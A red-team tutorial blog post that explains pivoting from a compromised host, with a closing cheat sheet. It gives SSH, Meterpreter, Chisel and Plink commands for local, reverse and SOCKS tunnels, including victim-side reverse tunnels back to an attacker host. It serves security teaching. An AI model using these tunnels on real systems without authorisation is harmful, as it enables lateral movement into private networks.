Beyond the Foothold: Modern Red Team Pivoting Techniques
A Practical, No-Nonsense Guide for “Future You” After That First Foothold
“Yo, Future Me! In case you forget how pivoting works after popping that box someday, here’s your friendly reminder: no exploits, no 1337 magic — just clean tunneling and traffic-redirecting goodness. Keep it simple, champ.”
Red teaming assumes one thing: a breach has already occurred.
You’ve got initial access.
Now the real fun begins — pivoting.
Pivoting allows you to:
- Reach internal networks
- Access firewalled ports
- Interact with non-routable hosts
- Expose internal services externally
- Route multiple protocols through tunnels
This guide presents local, remote, dynamic, and reverse dynamic port forwarding using SSH, Metasploit, Chisel, and Plink — all rewritten cleanly, logically, and ready as a Medium post.
Why Pivoting Matters in Red Teaming
Once you compromise a machine, you rarely land in the ideal spot.
Most internal services:
- Listen only on localhost
- Sit behind firewalls
- Belong to networks not directly accessible
- Require proxying or port redirection
Pivoting solves this by relaying your traffic through the compromised host, providing access to whatever internal systems it can reach.
Pivoting Types (The Big Picture)
TechniquePurposeAttacker ControlsCommon Use Case**Local Port Forwarding (L)**Access remote internal services locallyA port on attacker machine”I want to reach their internal service from my machine.”**Remote Port Forwarding (R)**Expose internal victim services outwardA port on attacker machine where victim forwards traffic”I want others to reach their internal service.”**Dynamic Port Forwarding (SOCKS)**Route any protocol/port via proxySOCKS proxy on attacker machine”Let me access entire internal subnets.”Reverse Dynamic Port ForwardingSame as SOCKS but initiated by victimSOCKS proxy on victim”Victim initiates outbound proxy tunnel.”
Local Port Forwarding
“I want to access internal stuff that only the victim can reach.”
Scenario
Attacker → 10.10.0.2
Pivot Machine → 10.10.0.3 (your foothold)
Internal Host → 10.20.0.5
Internal Service → 8080
You need to access port 8080 on 10.20.0.5, but only 10.10.0.3 can reach it.
Goal
Access internal 10.20.0.5:8080 from your machine at:
localhost:9090
localhost:9090
Using SSH
ssh -L 9090:10.20.0.5:8080 user@10.10.0.3
ssh -L 9090:10.20.0.5:8080 user@10.10.0.3
Using Metasploit Meterpreter
portfwd add -L 10.10.0.2 -l 9090 -p 8080 -r 10.20.0.5
portfwd add -L 10.10.0.2 -l 9090 -p 8080 -r 10.20.0.5
Using Chisel
Victim:
chisel server -p 9999
chisel server -p 9999
Attacker:
chisel client 10.10.0.3:9999 9090:10.20.0.5:8080
chisel client 10.10.0.3:9999 9090:10.20.0.5:8080
Using Plink
plink.exe -ssh -L 9090:10.20.0.5:8080 user@10.10.0.3
plink.exe -ssh -L 9090:10.20.0.5:8080 user@10.10.0.3
Remote / Reverse Port Forwarding
“I want others to access local resources they normally cannot reach.”
Useful when:
- Firewall blocks inbound traffic
- You need to push internal ports outward
- Victim → Attacker (reverse callback)
Scenario unchanged.
Goal: access 10.20.0.5:8080 externally via YOUR listener.
SSH Reverse Tunnel
ssh -R 9090:10.20.0.5:8080 user@10.10.0.2
ssh -R 9090:10.20.0.5:8080 user@10.10.0.2
Metasploit Reverse Portfwd
portfwd add -R -L 10.10.0.2 -l 9090 -p 8080 -r 10.20.0.5
portfwd add -R -L 10.10.0.2 -l 9090 -p 8080 -r 10.20.0.5
Chisel Reverse Mode
Attacker:
chisel server -p 9999 --reverse
chisel server -p 9999 --reverse
Victim:
chisel client 10.10.0.2:9999 R:9090:10.20.0.5:8080
chisel client 10.10.0.2:9999 R:9090:10.20.0.5:8080
Plink Reverse Tunnel
plink.exe -ssh -R 9090:10.20.0.5:8080 user@10.10.0.2
plink.exe -ssh -R 9090:10.20.0.5:8080 user@10.10.0.2
Dynamic Port Forwarding
“Give me access to EVERYTHING behind that host.”
Creates a SOCKS proxy → route all traffic via proxychains, browsers, tools, etc.
SSH SOCKS
ssh -D 127.0.0.1:9999 user@10.10.0.3
ssh -D 127.0.0.1:9999 user@10.10.0.3
Use with proxychains:
socks5 127.0.0.1 9999
socks5 127.0.0.1 9999
Chisel SOCKS Mode
Victim:
chisel server -p 7777 --socks5
chisel server -p 7777 --socks5
Attacker:
chisel client 10.10.0.3:7777 9999:socks
chisel client 10.10.0.3:7777 9999:socks
Plink SOCKS
plink.exe -D 9090 user@10.10.0.3
plink.exe -D 9090 user@10.10.0.3
Quick “Future Me” Summary
Because yes, you WILL forget this someday.
NeedSolutionAccess internal service via attacker machineLocal port forward (L)Expose internal service outwardRemote port forward (R)Access whole internal networkDynamic (SOCKS)Victim initiates outbound tunnelReverse dynamic
Final Thoughts
Pivoting isn’t a “nice-to-know” — it’s a core red-team skill.
Getting the first shell is easy.
Moving deeper is where the real operators shine.
Deliverable 2 — Redesigned & Improved Checklist Version
Red Team Pivoting — Operator Cheat Sheet
Local Port Forwarding (L)
Access internal service from attacker machine
<button data-code="SSH ssh -L :: user@pivot
MSF portfwd add -L -l -p -r
Chisel client pivot:9999 ::
Plink plink -L :: user@pivot” data-toggle-ms=”1200″ aria-label=”Copy code” data-nosnippet=”” class=”code-copy-btn absolute right-3 top-3 size-8 p-1.5 flex items-center justify-center bg-black/50 text-white rounded-md transition-colors duration-200 cursor-pointer hover:bg-black/70″>
SSH ssh -L <local>:<target>:<port> user@pivot
MSF portfwd add -L <attacker> -l <local> -p <port> -r <target>
Chisel client pivot:9999 <local>:<target>:<port>
Plink plink -L <local>:<target>:<port> user@pivot
SSH ssh -L <local>:<target>:<port> user@pivot
MSF portfwd add -L <attacker> -l <local> -p <port> -r <target>
Chisel client pivot:9999 <local>:<target>:<port>
Plink plink -L <local>:<target>:<port> user@pivot
Remote Port Forwarding (R)
Expose internal service to attacker externally
<button data-code="SSH ssh -R :: user@attacker
MSF portfwd add -R -L -l -p -r
Chisel client attacker:9999 R:::
Plink plink -R :: user@attacker” data-toggle-ms=”1200″ aria-label=”Copy code” data-nosnippet=”” class=”code-copy-btn absolute right-3 top-3 size-8 p-1.5 flex items-center justify-center bg-black/50 text-white rounded-md transition-colors duration-200 cursor-pointer hover:bg-black/70″>
SSH ssh -R <attacker-port>:<target>:<port> user@attacker
MSF portfwd add -R -L <attacker> -l <local> -p <port> -r <target>
Chisel client attacker:9999 R:<attacker-port>:<target>:<port>
Plink plink -R <attacker-port>:<target>:<port> user@attacker
SSH ssh -R <attacker-port>:<target>:<port> user@attacker
MSF portfwd add -R -L <attacker> -l <local> -p <port> -r <target>
Chisel client attacker:9999 R:<attacker-port>:<target>:<port>
Plink plink -R <attacker-port>:<target>:<port> user@attacker
Dynamic SOCKS Proxy
Route any connection through pivot
<button data-code="SSH ssh -D 127.0.0.1:9999 user@pivot
Chisel server –socks5 / client :7777 9999:socks
Plink plink -D 9090 user@pivot” data-toggle-ms=”1200″ aria-label=”Copy code” data-nosnippet=”” class=”code-copy-btn absolute right-3 top-1/2 -translate-y-1/2 size-8 p-1.5 flex items-center justify-center bg-black/50 text-white rounded-md transition-colors duration-200 cursor-pointer hover:bg-black/70″>
SSH ssh -D 127.0.0.1:9999 user@pivot
Chisel server --socks5 / client <pivot>:7777 9999:socks
Plink plink -D 9090 user@pivot
SSH ssh -D 127.0.0.1:9999 user@pivot
Chisel server --socks5 / client <pivot>:7777 9999:socks
Plink plink -D 9090 user@pivot
Tools to Pair with Pivoting
proxychainsnmapcurlbloodhoundimpacket-*- browsers configured for SOCKS5

